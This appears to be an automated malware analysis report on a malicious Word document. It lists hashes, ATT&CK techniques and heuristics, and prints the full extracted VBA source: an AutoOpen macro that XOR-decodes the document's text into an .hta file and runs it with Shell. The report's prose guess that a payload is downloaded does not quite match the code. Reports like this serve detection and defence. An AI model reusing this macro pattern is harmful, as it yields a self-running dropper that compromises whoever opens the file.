Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c91b052f002dfffd…

MALICIOUS

Office (OOXML)

49.5 KB Created: 2021-06-14 11:23:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: ab1874afe13a817927c82b7a4cf9e137 SHA-1: 89b31bbd2a62dc777bf11ef6270cdc6a3477bc0e SHA-256: c91b052f002dfffd163221aa2ea8f9e3d297617c927609a1a0a5b19069b04eed
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The 'autoopen' macro triggers the execution of the 'beforeDate' function, which in turn calls 'countWindow'. This function constructs a path 'c:\programdata\textboxValue.ht' and concatenates it with a variable 'iteratorVb' which is 'a', resulting in 'c:\programdata\textboxValue.hta'. The 'integerBytes' subroutine then opens this file for output and writes the content of 'linkWidthCtrl' to it. 'linkWidthCtrl' reconstructs a string from the document's text using XOR obfuscation, which appears to be a URL. The 'Shell()' call within 'beforeDate' is used to execute a command, likely to download and save the payload from the reconstructed URL to the specified path.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1243 bytes
SHA-256: bcdb60cc8c2238b47b8d9cff760327ecc47d19ed79d3a56da0f398c794408b03
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "storageMemoryRepo"
Function beforeDate()
beforeDate = Shell(countWindow("c:\\windows\\explorer "), vbNormalFocus)
End Function

Attribute VB_Name = "docWName"
Sub autoopen()
integerBytes
delTable = beforeDate
End Sub
Function countWindow(remBorderCollect, Optional templateCounterGen = "c:\program", Optional iteratorVb = "a")
countWindow = lnkSz(remBorderCollect & templateCounterGen & "data\textboxValue.ht" & iteratorVb)
End Function
Function widthCurrArray(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 10)
Next
widthCurrArray = out
End Function
Function lnkSz(delTable)
lnkSz = Trim(delTable)
End Function

Attribute VB_Name = "selRemove"
Sub integerBytes()
Open countWindow("") For Output As #1
Print #1, linkWidthCtrl
Close #1
End Sub
Function linkWidthCtrl()
linkWidthCtrl = widthCurrArray(Split(ActiveDocument.Range.Text, "-"))
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: e3a4ea5e9065836efbce99643c532067f3b867d7752a306d2779cd28f2d52752

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